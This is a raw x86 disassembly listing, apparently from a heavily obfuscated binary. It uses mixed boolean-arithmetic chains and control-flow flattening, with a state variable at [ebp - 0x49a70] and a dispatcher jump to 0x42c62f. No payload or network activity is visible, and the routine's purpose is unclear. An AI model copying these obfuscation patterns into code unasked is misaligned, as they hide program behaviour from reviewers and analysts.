mov dh, ch
and dh, 0xff
and al, 0
mov byte [ebp - 0x49ab9], al
mov al, byte [ebp - 0x49ab6]
and al, 0xff
mov byte [ebp - 0x49ab8], al
mov al, byte [ebp - 0x49ab5]
and cl, al
mov al, byte [ebp - 0x49ab9]
or dh, al
mov al, byte [ebp - 0x49ab8]
or al, cl
mov cl, byte [ebp - 0x49ab7]
xor dh, al
mov al, byte [ebp - 0x49ab6]
or ch, al
mov al, byte [ebp - 0x49ab5]
xor ch, 0xff
or al, 1
and ch, al
mov al, byte [ebp - 0x49ab4]
or dh, ch
xor cl, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 1
or cl, dh
or ch, 1
xor cl, 0xff
and cl, ch
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov al, bl
xor al, 0xff
mov cl, bh
xor cl, al
and cl, bh
mov dh, bh
xor dh, 0xff
and dh, 0
mov al, 1
xor al, 0
mov byte [ebp - 0x49ab3], al
and bh, al
mov al, bl
xor al, 0xff
and al, 0
mov byte [ebp - 0x49ab2], al
mov al, byte [ebp - 0x49ab3]
and bl, al
mov al, byte [ebp - 0x49ab2]
or dh, bh
or al, bl
xor dh, al
mov al, cl
and al, dh
xor cl, dh
or al, cl
mov byte [ebp - 0x49ab1], al
mov cl, ch
xor cl, 0xff
and cl, 0
mov bl, 1
xor bl, 0
mov bh, ch
and bh, bl
mov dh, 1
xor dh, 1
and dh, 0
and bl, 1
or cl, bh
or dh, bl
xor cl, dh
xor cl, 0xff
xor cl, 0
and cl, 0
mov bh, 1
xor bh, 0
and bh, 1
mov dh, 1
xor dh, 1
and dh, 0
or bh, dh
mov dh, bh
xor dh, 0xff
mov bl, ch
xor bl, dh
and bl, ch
mov dh, al
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
and al, ch
or dh, al
mov al, 1
xor al, 0
mov ch, dh
xor ch, al
mov al, byte [ebp - 0x49ab1]
and ch, dh
xor bh, 0xff
mov dh, al
xor dh, bh
and dh, al
mov al, cl
and al, bl
xor cl, bl
or al, cl
mov cl, ch
and cl, dh
xor ch, dh
or cl, ch
mov ch, al
xor ch, 0xff
mov bh, cl
and bh, ch
xor cl, 0xff
and al, cl
or bh, al
mov al, ah
xor al, 0xff
mov ch, dl
xor ch, 0xff
mov cl, 1
xor cl, 0
or al, ch
or cl, 0
xor al, 0xff
and al, cl
mov bl, ah
xor bl, 0xff
and bl, 1
mov ch, 1
xor ch, 1
and ah, ch
mov cl, dl
xor cl, 0xff
and cl, 0xff
and dl, ch
or bl, ah
or cl, dl
xor bl, cl
mov cl, al
xor cl, 0xff
mov ch, bl
xor ch, 0xff
mov dl, 1
xor dl, 1
mov ah, cl
and ah, 0xff
and al, dl
mov dh, ch
and dh, 0xff
and bl, dl
or ah, al
mov al, byte [ebp - 0x49ab0]
or dh, bl
xor ah, dh
or cl, ch
xor cl, 0xff
or dl, 1
and cl, dl
or ah, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
mov dl, ah
and dl, ch
or cl, dl
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ch, 1
xor ch, 1
and ch, 1
mov dl, 1
xor dl, 1
and dl, 1
or ch, dl
xor ch, 0xff
mov dl, ah
xor dl, ch
and dl, ah
mov ch, cl
and ch, dl
xor cl, dl
or ch, cl
mov cl, al
xor cl, 0xff
xor cl, 0
and cl, 0
mov dl, 1
xor dl, 0
mov bl, al
and bl, dl
xor al, 0xff
and al, 0
or bl, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x49aaf], al
mov ah, bl
xor ah, 0xff
mov dl, 1
xor dl, 0
and al, 0
and cl, dl
mov dh, ah
and dh, 0
and bl, dl
or al, cl
mov cl, byte [ebp - 0x49aaf]
or dh, bl
xor al, dh
or cl, ah
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
mov cl, ch
xor cl, 0xff
and cl, 0
mov ah, 1
xor ah, 0
and ch, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or cl, ch
or dl, ah
xor cl, dl
mov bl, al
xor bl, 0xff
and bl, 1
mov dl, 1
xor dl, 1
and al, dl
or bl, al
mov dl, 1
xor dl, 1
and dl, 0
mov ah, 1
xor ah, 0
mov ch, ah
and ch, 1
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dl, ch
or al, ah
xor dl, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x49aae], al
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 1
and al, 0xff
and cl, ah
mov dh, ch
and dh, 0xff
and bl, ah
or al, cl
mov cl, byte [ebp - 0x49aae]
or dh, bl
xor al, dh
or cl, ch
xor cl, 0xff
or ah, 1
and cl, ah
or al, cl
mov cl, dl
and cl, 1
xor dl, 1
or cl, dl
mov ch, al
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
and al, dl
or ch, al
xor ch, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or ch, cl
or al, 1
xor ch, 0xff
and ch, al
mov dl, bh
xor dl, 0xff
and dl, 0
mov cl, 1
xor cl, 0
mov ah, bh
and ah, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, ah
or al, cl
xor dl, al
mov ah, ch
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov dh, ch
and dh, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ah, dh
or al, cl
xor ah, al
mov cl, 1
xor cl, 1
and cl, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 1
mov al, 1
xor al, 1
and al, 0
and dh, 1
or cl, bl
or al, dh
xor cl, al
mov byte [ebp - 0x49aad], cl
mov al, 1
xor al, 1
mov dh, dl
xor dh, al
and dh, dl
xor bh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or bh, cl
or al, 0
xor bh, 0xff
and bh, al
mov al, ah
xor al, 0xff
mov cl, 1
xor cl, 1
mov bl, 1
xor bl, 0
or al, cl
mov cl, byte [ebp - 0x49aad]
or bl, 0
xor al, 0xff
and al, bl
mov byte [ebp - 0x49aac], al
mov al, cl
xor al, 0xff
mov bl, ch
xor bl, al
mov al, byte [ebp - 0x49aac]
and bl, ch
mov ch, dh
and ch, bh
xor dh, bh
or ch, dh
mov dh, al
and dh, bl
xor al, bl
or dh, al
mov bl, ch
xor bl, 0xff
mov al, dh
and al, bl
xor dh, 0xff
and ch, dh
or al, ch
mov dh, dl
and dh, ah
xor dl, ah
or dh, dl
mov dl, dh
xor dl, 0xff
and dl, 0
mov ch, 1
xor ch, 0
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or dl, dh
or ah, ch
xor dl, ah
mov ah, cl
and ah, 1
xor cl, 1
or ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x28e81f55
mov ecx, 0xe656a931
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x49a70], eax
jmp 0x42c62f
mov ecx, dword [0x501548]
mov eax, dword [0x501544]
xor esi, esi
sub esi, 0x956c6e93
sub esi, ecx
add esi, 0x956c6e93
mov edx, 0x34e729c8
add edx, 0
sub edx, 0xd4289ef5
sub edx, 0x34e729c8
sub esi, 0x3c594d49
add esi, edx
add esi, 0x3c594d49
mov edx, 0x8f2317ac
add edx, 0
sub edx, esi
sub edx, 0x8f2317ac
sub edx, 0x84d6d510
add edx, 0x4f810df3
add edx, 0x84d6d510
sub edx, 0xd3e5e21
sub edx, 1
add edx, 0xd3e5e21
add edx, 0xd9a162d3
sub edx, 0x4f810df3
sub edx, 0xd9a162d3
sub edx, 0x1db3d6d
sub edx, 0xeead35f1
add edx, 0x1db3d6d
add edx, 0xa3653768
sub edx, 0xd4289ef5
sub edx, 0xa3653768
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xeead35f1
add esi, edx
xor edx, edx
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl al
mov byte [ebp - 0x49b47], al
mov dl, cl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov al, cl
and al, ah
or dl, al
mov bh, 1
xor bh, 1
xor dl, 0xff
mov al, 1
xor al, 0
or bh, dl
or al, 0
xor bh, 0xff
and bh, al
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
mov dl, ch
xor dl, 0xff
mov al, cl
xor al, dl
and al, cl
mov ah, 1
xor ah, 1
and ah, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 1
mov dl, 1
xor dl, 1
and dl, 0
and dh, 1
or ah, bl
or dl, dh
xor ah, dl
mov dh, 1
xor dh, 1
mov dl, ah
xor dl, dh
and dl, ah
mov byte [ebp - 0x49b55], dl
mov dl, 1
xor dl, 1
xor ch, 0xff
mov ah, 1
xor ah, 0
or dl, ch
or ah, 0
xor dl, 0xff
and dl, ah
mov ch, bh
xor ch, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ah, ch
and ah, 0
and bh, dh
mov byte [ebp - 0x49b57], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x49b56], al
mov al, byte [ebp - 0x49b57]
or ah, al
mov al, byte [ebp - 0x49b56]
or bh, al
mov al, byte [ebp - 0x49b55]
xor ah, bh
or ch, bl
xor ch, 0xff
or dh, 0
and ch, dh
or ah, ch
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x49b54], ch
mov bl, dl
xor bl, 0xff
mov dh, 1
xor dh, 0
and ch, 0
and al, dh
mov bh, bl
and bh, 0
and dl, dh
or ch, al
mov al, byte [ebp - 0x49b54]
or bh, dl
mov dl, byte [ebp - 0x49b47]
xor ch, bh
or al, bl
xor al, 0xff
or dh, 0
and al, dh
or ch, al
mov dh, ah
xor dh, 0xff
mov al, ch
and al, dh
xor ch, 0xff
and ah, ch
or al, ah
mov byte [ebp - 0x49b36], al
mov ah, dl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov dh, dl
and dh, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or ah, dh
or al, ch
xor ah, al
mov bl, 1
xor bl, 0
xor ah, 0xff
mov al, 1
xor al, 0
or bl, ah
or al, 0
xor bl, 0xff
and bl, al
mov ah, 1
xor ah, 0
and ah, 1
mov al, 1
xor al, 1
and al, 0
or ah, al
mov ch, ah
xor ch, 0xff
mov al, dl
xor al, ch
and al, dl
mov ch, 1
xor ch, 1
and ch, 1
mov dh, 1
xor dh, 1
mov bh, dh
and bh, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and dh, 1
or ch, bh
or dl, dh
xor ch, dl
mov dh, 1
xor dh, 0
mov dl, ch
xor dl, dh
and dl, ch
mov byte [ebp - 0x49b51], dl
mov bh, 1
xor bh, 1
xor ah, 0xff
mov dl, 1
xor dl, 1
or bh, ah
or dl, 1
xor bh, 0xff
and bh, dl
mov dl, bl
xor dl, 0xff
mov dh, al
xor dh, 0xff
mov ah, 1
xor ah, 0
mov ch, dl
and ch, 0
and bl, ah
mov byte [ebp - 0x49b53], bl
mov bl, dh
and bl, 0
and al, ah
mov byte [ebp - 0x49b52], al
mov al, byte [ebp - 0x49b53]
or ch, al
mov al, byte [ebp - 0x49b52]
or bl, al
mov al, byte [ebp - 0x49b51]
xor ch, bl
or dl, dh
xor dl, 0xff
or ah, 0
and dl, ah
or ch, dl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x49b50], ah
mov dh, bh
xor dh, 0xff
mov dl, 1
xor dl, 0
and ah, 0
and al, dl
mov bl, dh
and bl, 0
and bh, dl
or ah, al
mov al, byte [ebp - 0x49b50]
or bl, bh
xor ah, bl
or al, dh
xor al, 0xff
or dl, 0
and al, dl
or ah, al
mov dl, ch
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
and ch, dh
mov al, ah
xor al, 0xff
and al, 0xff
and ah, dh
or dl, ch
or al, ah
xor dl, al
mov ah, 1
xor ah, 1
and ah, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 1
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or ah, dh
or al, ch
xor ah, al
mov dh, 1
xor dh, 0
xor ah, 0xff
mov al, 1
xor al, 0
or dh, ah
or al, 0
xor dh, 0xff
and dh, al
mov bh, 1
xor bh, 0
and bh, 1
mov ah, 1
xor ah, 1
mov ch, ah
and ch, 0
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or bh, ch
or al, ah
xor bh, al
mov byte [ebp - 0x49b4f], bh
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov ch, 1
xor ch, 1
and ch, 0
mov bl, 1
xor bl, 0
mov al, bl
and al, 1
mov ah, 1
xor ah, 1
and ah, 0
and bl, 1
or ch, al
mov al, byte [ebp - 0x49b4f]
or ah, bl
xor ch, ah
mov bl, 1
xor bl, 0
mov ah, ch
xor ah, bl
and ah, ch
mov ch, 1
xor ch, 1
xor al, 0xff
mov bl, 1
xor bl, 1
or ch, al
mov al, byte [ebp - 0x49b36]
or bl, 1
xor ch, 0xff
and ch, bl
mov bl, dh
and bl, bh
xor dh, bh
or bl, dh
mov dh, ah
and dh, ch
xor ah, ch
or dh, ah
mov ah, bl
xor ah, 0xff
and ah, 1
mov bh, 1
xor bh, 1
and bl, bh
mov ch, dh
xor ch, 0xff
and ch, 0xff
and dh, bh
or ah, bl
or ch, dh
xor ah, ch
mov byte [ebp - 0x49b35], ah
mov bl, al
xor bl, 0xff
and bl, 1
mov ah, 1
xor ah, 1
and al, ah
or bl, al
mov al, 1
xor al, 1
and al, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 1
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or al, dh
or ah, ch
xor al, ah
mov ah, 1
xor ah, 0
and ah, 1
mov ch, 1
xor ch, 1
and ch, 0
or ah, ch
mov byte [ebp - 0x49b4c], ah
mov ah, bl
xor ah, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
mov bh, ah
and bh, 0xff
and bl, ch
mov byte [ebp - 0x49b4e], bl
mov bl, dh
and bl, 0xff
and al, ch
mov byte [ebp - 0x49b4d], al
mov al, byte [ebp - 0x49b4e]
or bh, al
mov al, byte [ebp - 0x49b4d]
or bl, al
mov al, byte [ebp - 0x49b4c]
xor bh, bl
mov bl, byte [ebp - 0x49b35]
or ah, dh
xor ah, 0xff
or ch, 1
and ah, ch
or bh, ah
mov ch, al
and ch, 0
xor al, 0
or ch, al
mov ah, bh
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
and bh, dh
mov al, 1
xor al, 1
and al, 0xff
and dh, 1
or ah, bh
or al, dh
xor ah, al
xor ah, 0xff
xor ch, 0xff
mov al, 1
xor al, 1
or ah, ch
or al, 1
xor ah, 0xff
and ah, al
mov dh, bl
xor dh, 0xff
and dh, 0
mov ch, 1
xor ch, 0
and bl, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or dh, bl
or al, ch
xor dh, al
mov ch, cl
xor ch, 0xff
and ch, 1
mov bh, 1
xor bh, 1
mov bl, cl
and bl, bh
mov al, dh
xor al, 0xff
and al, 0xff
and dh, bh
or ch, bl
or al, dh
xor ch, al
xor ch, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or ch, cl
or al, 1
xor ch, 0xff
and ch, al
mov al, dl
xor al, 0xff
and al, 0
mov dh, 1
xor dh, 0
mov bl, dl
and bl, dh
mov cl, 1
xor cl, 1
and cl, 0
and dh, 1
or al, bl
or cl, dh
xor al, cl
mov bl, 1
xor bl, 1
and bl, 1
mov cl, 1
xor cl, 1
and cl, 1
or bl, cl
mov cl, 1
xor cl, 0
and cl, 1
mov dh, 1
xor dh, 1
and dh, 0
or cl, dh
mov dh, al
and dh, bl
xor al, bl
or dh, al
mov bl, 1
xor bl, 0
mov byte [ebp - 0x49b48], bl
mov al, cl
xor al, 0xff
mov byte [ebp - 0x49b49], al
mov bh, 1
xor bh, 1
and bl, 0xff
mov al, bh
and al, 0
mov byte [ebp - 0x49b4b], al
mov al, byte [ebp - 0x49b49]
and al, 0xff
mov byte [ebp - 0x49b4a], al
mov al, byte [ebp - 0x49b4b]
and cl, bh
or bl, al
mov al, byte [ebp - 0x49b4a]
or al, cl
mov cl, byte [ebp - 0x49b49]
xor bl, al
mov al, byte [ebp - 0x49b48]
or al, cl
mov cl, byte [ebp - 0x49b47]
xor al, 0xff
or bh, 1
and al, bh
or bl, al
mov bh, dh
xor bh, 0xff
and bh, 1
mov al, 1
xor al, 1
and dh, al
mov byte [ebp - 0x49b46], dh
mov dh, 1
xor dh, 1
and dh, 0xff
and al, 1
mov byte [ebp - 0x49b45], al
mov al, byte [ebp - 0x49b46]
or bh, al
mov al, byte [ebp - 0x49b45]
or dh, al
mov al, byte [ebp - 0x49b35]
xor bh, dh
xor bh, 0xff
xor bl, 0xff
mov dh, 1
xor dh, 1
or bh, bl
or dh, 1
xor bh, 0xff
and bh, dh
mov bl, al
xor bl, 0xff
and bl, 1
mov dh, 1
xor dh, 1
and al, dh
or bl, al
mov dh, cl
xor dh, 0xff
mov al, bl
and al, dh
xor bl, 0xff
mov dh, cl
and dh, bl
or al, dh
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, ah
xor al, 0xff
mov dh, ch
xor dh, 0xff
mov cl, 1
xor cl, 0
or al, dh
or cl, 0
xor al, 0xff
and al, cl
mov dh, ah
xor dh, 0xff
mov cl, ch
and cl, dh
xor ch, 0xff
and ah, ch
or cl, ah
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov ch, bh
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov dh, bh
and dh, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ch, dh
or al, cl
xor ch, al
mov byte [ebp - 0x49b3b], ch
mov al, bl
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
mov cl, bl
and cl, dh
or al, cl
mov byte [ebp - 0x49b3d], al
mov dh, 1
xor dh, 1
and dh, 1
mov al, 1
xor al, 1
and al, 1
or dh, al
xor ch, 0xff
mov cl, 1
xor cl, 1
mov al, 1
xor al, 1
or ch, cl
or al, 1
xor ch, 0xff
and ch, al
xor bh, 0xff
mov al, dh
xor al, 0xff
mov cl, 1
xor cl, 1
or bh, al
mov al, byte [ebp - 0x49b3d]
or cl, 1
xor bh, 0xff
and bh, cl
xor al, 0xff
mov byte [ebp - 0x49b44], al
mov cl, 1
xor cl, 1
mov al, 1
xor al, 0
mov byte [ebp - 0x49b43], al
mov al, byte [ebp - 0x49b44]
or al, cl
mov cl, byte [ebp - 0x49b43]
or cl, 0
xor al, 0xff
and al, cl
mov byte [ebp - 0x49b42], al
mov al, dh
xor al, 0xff
mov cl, bl
xor cl, al
mov al, byte [ebp - 0x49b42]
and cl, bl
mov bl, ch
and bl, bh
xor ch, bh
or bl, ch
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x49b3e], bh
mov ch, cl
xor ch, 0xff
mov byte [ebp - 0x49b3f], ch
mov ch, 1
xor ch, 0
and bh, 0
and al, ch
mov byte [ebp - 0x49b41], al
mov al, byte [ebp - 0x49b3f]
and al, 0
mov byte [ebp - 0x49b40], al
mov al, byte [ebp - 0x49b41]
and cl, ch
or bh, al
mov al, byte [ebp - 0x49b40]
or al, cl
mov cl, byte [ebp - 0x49b3f]
xor bh, al
mov al, byte [ebp - 0x49b3e]
or al, cl
mov cl, byte [ebp - 0x49b3d]
xor al, 0xff
or ch, 0
and al, ch
or bh, al
mov ch, bl
xor ch, 0xff
and ch, 1
mov al, 1
xor al, 1
and bl, al
mov byte [ebp - 0x49b3c], bl
mov bl, bh
xor bl, 0xff
and bl, 0xff
and bh, al
mov al, byte [ebp - 0x49b3c]
or ch, al
mov al, byte [ebp - 0x49b3b]
or bl, bh
xor ch, bl
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x49b38], bh
mov bl, cl
xor bl, 0xff
mov byte [ebp - 0x49b37], bl
mov bl, 1
xor bl, 1
and bh, 0xff
and al, bl
mov byte [ebp - 0x49b3a], al
mov al, byte [ebp - 0x49b37]
and al, 0xff
mov byte [ebp - 0x49b39], al
mov al, byte [ebp - 0x49b3a]
and cl, bl
or bh, al
mov al, byte [ebp - 0x49b39]
or al, cl
mov cl, byte [ebp - 0x49b38]
xor bh, al
mov al, byte [ebp - 0x49b37]
or cl, al
mov al, byte [ebp - 0x49b36]
xor cl, 0xff
or bl, 1
and cl, bl
or bh, cl
mov bl, bh
xor bl, 0xff
and bl, 1
mov cl, 1
xor cl, 1
and bh, cl
mov cl, byte [ebp - 0x49b35]
or bl, bh
mov bh, dh
and bh, 1
xor dh, 1
or bh, dh
xor bl, 0xff
xor bh, 0xff
mov dh, 1
xor dh, 0
or bl, bh
or dh, 0
xor bl, 0xff
and bl, dh
mov dh, ch
and dh, bl
xor ch, bl
or dh, ch
mov bh, ah
xor bh, 0xff
and bh, 1
mov bl, 1
xor bl, 1
mov ch, ah
and ch, bl
or bh, ch
mov ch, dh
xor ch, 0xff
xor bh, 0xff
mov bl, 1
xor bl, 0
or ch, bh
or bl, 0
xor ch, 0xff
and ch, bl
mov bl, dh
xor bl, 0xff
and bl, 1
mov bh, 1
xor bh, 1
and dh, bh
or bl, dh
xor bl, 0xff
mov dh, ah
xor dh, bl
and dh, ah
mov ah, ch
and ah, dh
xor ch, dh
or ah, ch
mov byte [ebp - 0x49b2e], ah
mov ah, dl
xor ah, 0xff
mov bh, al
xor bh, ah
and bh, al
mov ah, al
xor ah, 0xff
mov bl, dl
and bl, ah
xor dl, 0xff
and al, dl
or bl, al
mov dl, bh
xor dl, 0xff
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 0
mov al, dl
and al, 0
and bh, ah
mov dh, ch
and dh, 0
and bl, ah
or al, bh
or dh, bl
xor al, dh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or al, dl
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov dl, al
and dl, ch
or ah, dl
xor ah, 0xff
xor ah, 0
and ah, 0
mov dl, 1
xor dl, 0
and dl, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 0
mov ch, 1
xor ch, 1
and ch, 0
and dh, 1
or dl, bl
or ch, dh
xor dl, ch
mov ch, dl
xor ch, 0xff
mov dh, al
xor dh, ch
and dh, al
mov al, 1
xor al, 1
and al, 0
mov bl, 1
xor bl, 0
mov bh, bl
and bh, 1
mov ch, 1
xor ch, 1
and ch, 0
and bl, 1
or al, bh
or ch, bl
xor al, ch
xor al, 0xff
mov bl, 1
xor bl, 0
mov ch, 1
xor ch, 1
or al, bl
or ch, 1
xor al, 0xff
and al, ch
xor dl, 0xff
xor dl, 1
and dl, 0xff
mov ch, ah
and ch, dh
xor ah, dh
or ch, ah
mov ah, al
and ah, dl
xor al, dl
or ah, al
mov dl, ch
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
and ch, dh
mov al, ah
xor al, 0xff
and al, 0xff
and ah, dh
or dl, ch
or al, ah
xor dl, al
mov al, 1
xor al, 1
and al, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 1
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or al, dh
or ah, ch
xor al, ah
mov byte [ebp - 0x49b31], al
mov ch, cl
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
mov ah, cl
and ah, dh
or ch, ah
mov byte [ebp - 0x49b32], ch
mov bl, 1
xor bl, 0
and bl, 0
mov dh, 1
xor dh, 0
mov bh, dh
and bh, 0
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or bl, bh
or ah, dh
xor bl, ah
mov byte [ebp - 0x49b2d], bl
mov dh, 1
xor dh, 0
mov ah, al
xor ah, dh
and ah, al
mov dh, bl
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov bh, 1
xor bh, 0
mov al, ch
xor al, bh
and al, ch
xor cl, 0xff
xor bl, 0xff
mov ch, 1
xor ch, 0
or cl, bl
or ch, 0
xor cl, 0xff
and cl, ch
mov ch, ah
and ch, dh
xor ah, dh
or ch, ah
mov ah, al
xor ah, 0xff
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
mov dh, ah
and dh, 0
and al, bl
mov byte [ebp - 0x49b34], al
mov al, bh
and al, 0
mov byte [ebp - 0x49b33], al
mov al, byte [ebp - 0x49b34]
and cl, bl
or dh, al
mov al, byte [ebp - 0x49b33]
or al, cl
mov cl, byte [ebp - 0x49b32]
xor dh, al
mov al, byte [ebp - 0x49b31]
or ah, bh
xor ah, 0xff
or bl, 0
and ah, bl
or dh, ah
mov bl, ch
xor bl, 0xff
mov ah, dh
and ah, bl
xor dh, 0xff
and ch, dh
or ah, ch
mov ch, al
xor ch, 0xff
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
mov dh, ch
and dh, 0
and al, bl
mov byte [ebp - 0x49b30], al
mov al, bh
and al, 0
mov byte [ebp - 0x49b2f], al
mov al, byte [ebp - 0x49b30]
and cl, bl
or dh, al
mov al, byte [ebp - 0x49b2f]
or al, cl
mov cl, byte [ebp - 0x49b2e]
xor dh, al
mov al, byte [ebp - 0x49b2d]
or ch, bh
xor ch, 0xff
or bl, 0
and ch, bl
or dh, ch
mov ch, dh
xor ch, 0xff
and ch, 1
mov bl, 1
xor bl, 1
and dh, bl
or ch, dh
mov dh, al
and dh, 0
xor al, 0
or dh, al
xor ch, 0xff
xor dh, 0xff
mov al, 1
xor al, 0
or ch, dh
or al, 0
xor ch, 0xff
and ch, al
mov al, ah
and al, ch
xor ah, ch
or al, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and al, ch
or ah, al
mov ch, dl
xor ch, 0xff
and ch, 1
mov bl, 1
xor bl, 1
mov dh, dl
and dh, bl
mov al, ah
xor al, 0xff
and al, 0xff
and ah, bl
or ch, dh
or al, ah
xor ch, al
xor ch, 0xff
xor dl, 0xff
mov al, 1
xor al, 0
or ch, dl
or al, 0
xor ch, 0xff
and ch, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov dl, cl
and dl, ah
or al, dl
mov byte [ebp - 0x49b25], al
mov dl, ch
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
mov ah, ch
and ah, dh
or dl, ah
mov bh, 1
xor bh, 1
and bh, 1
mov ah, 1
xor ah, 1
and ah, 1
or bh, ah
xor al, 0xff
mov dh, 1
xor dh, 1
mov ah, 1
xor ah, 0
or al, dh
or ah, 0
xor al, 0xff
and al, ah
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 1
or cl, dh
or ah, 1
xor cl, 0xff
and cl, ah
mov ah, dl
xor ah, 0xff
mov bl, 1
xor bl, 1
mov dh, 1
xor dh, 1
or ah, bl
or dh, 1
xor ah, 0xff
and ah, dh
mov byte [ebp - 0x49b29], ah
mov dh, bh
xor dh, 0xff
mov ah, ch
xor ah, dh
and ah, ch
mov byte [ebp - 0x49b2a], ah
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ch, ah
and ch, 0xff
and al, dh
mov byte [ebp - 0x49b2c], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x49b2b], al
mov al, byte [ebp - 0x49b2c]
and cl, dh
or ch, al
mov al, byte [ebp - 0x49b2b]
or al, cl
mov cl, byte [ebp - 0x49b2a]
xor ch, al
mov al, byte [ebp - 0x49b29]
or ah, bl
xor ah, 0xff
or dh, 1
and ah, dh
or ch, ah
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x49b26], ah
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
and ah, 0
and al, dh
mov byte [ebp - 0x49b28], al
mov al, bl
and al, 0
mov byte [ebp - 0x49b27], al
mov al, byte [ebp - 0x49b28]
and cl, dh
or ah, al
mov al, byte [ebp - 0x49b27]
or al, cl
mov cl, byte [ebp - 0x49b26]
xor ah, al
mov al, byte [ebp - 0x49b25]
or cl, bl
xor cl, 0xff
or dh, 0
and cl, dh
or ah, cl
mov bl, ch
xor bl, 0xff
and bl, 1
mov dh, 1
xor dh, 1
and ch, dh
mov cl, ah
xor cl, 0xff
and cl, 0xff
and ah, dh
or bl, ch
or cl, ah
xor bl, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov byte [ebp - 0x49b24], al
mov dl, 1
xor dl, 1
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
mov cl, dl
and cl, 0xff
mov al, ah
and al, 1
mov dh, ch
and dh, 0xff
and bh, ah
or cl, al
mov al, byte [ebp - 0x49b24]
or dh, bh
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb48b821b
mov ecx, 0xfcd33122
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x49a70], eax
jmp 0x42c62f
mov dword [ebp - 0x49a70], 0xa027c342
jmp 0x42c62f
mov eax, dword [ebp - 0x499cc]
mov dword [ebp - 0x49a04], eax
mov dword [ebp - 0x49a70], 0xc77e0063
jmp 0x42c62f
mov ecx, dword [0x501548]
